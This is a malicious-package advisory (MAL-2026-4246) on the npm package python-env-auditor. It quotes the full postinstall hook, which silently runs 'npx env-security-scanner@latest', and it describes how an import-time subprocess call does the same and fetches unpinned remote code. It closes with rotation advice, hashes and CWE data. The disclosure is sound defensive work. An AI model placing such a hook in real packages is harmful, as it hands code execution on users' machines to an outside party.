MAL-2026-4246

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/python-env-auditor/MAL-2026-4246.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4246
Aliases
  • GHSA-939m-5vr8-382c
Published
2026-05-22T01:53:35Z
Modified
2026-05-26T06:02:52.565660798Z
Summary
Malicious code in python-env-auditor (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (32ffd6ffbc7ab684cc6bd3dbbd29d4bb608f07ea2b9d2ffd460e95a279824699)

Package fetches and executes a mutable, unpinned third-party npm package (env-security-scanner@latest) on every install and on every Python import. The postinstall lifecycle hook in package.json runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}" — no version pin, no integrity check, errors silently swallowed. The Python module python_env_auditor/__init__.py calls run_audit() at top level, which subprocess-runs the same npx env-security-scanner@latest audit_environment command, so any import python_env_auditor also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing 'install'/'develop'. The package is published to npm but its main is setup.py and it ships a Python module — a cross-ecosystem cover story. Author metadata is placeholder ('Python Environment Security Team') and the referenced GitHub URL does not exist. Whoever controls the env-security-scanner name on npm controls code execution on every installer's machine and on every consumer process that imports this module.

Source: ghsa-malware (666bbe32ca1a561712cee2f6073a78d43815f92da2b5b539975c58077efb6e34)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "source": "ghsa-malware",
            "modified_time": "2026-05-22T02:43:06Z",
            "sha256": "666bbe32ca1a561712cee2f6073a78d43815f92da2b5b539975c58077efb6e34",
            "id": "GHSA-939m-5vr8-382c",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "import_time": "2026-05-22T03:24:54.635657039Z"
        },
        {
            "versions": [
                "1.0.0"
            ],
            "modified_time": "2026-05-22T01:53:35Z",
            "sha256": "32ffd6ffbc7ab684cc6bd3dbbd29d4bb608f07ea2b9d2ffd460e95a279824699",
            "id": "IN-MAL-2026-004116",
            "source": "amazon-inspector",
            "import_time": "2026-05-26T05:51:58.183009502Z"
        }
    ]
}
References
Credits

Affected packages

npm / python-env-auditor

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "package_integrity": [
        {
            "filename": "python-env-auditor-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-/GvimA8tEzhHz4u5AmwzIxMoq9vmEAd/s3UX3Kpi+SAur1EyOffIf7kpkhG/duRLAEfj5PQfzkoYksA5QQpzkw==",
                "sha1": "987956042524f449ccbdae18e1910ff38721974d"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "a2118c528ab499732fc5254bd43a2159b0318f032d44284872f7818ddb8bb774bbe3be",
            "sha256": "8c1457de43d72356f1640ebdf5d152e6002f13c53a39dc26e1c14db0583b8ad0"
        },
        {
            "path": "python_env_auditor/__init__.py",
            "tlsh": "4cf059034ea97824d5cf01abe66560998eb447036ec61068b0ddc143ff42a77d9a1feb",
            "sha256": "cccad136b029682b1442d8da973b9df7a9d7b82dbbb63182858bce2e3d5fccbe"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/python-env-auditor/MAL-2026-4246.json"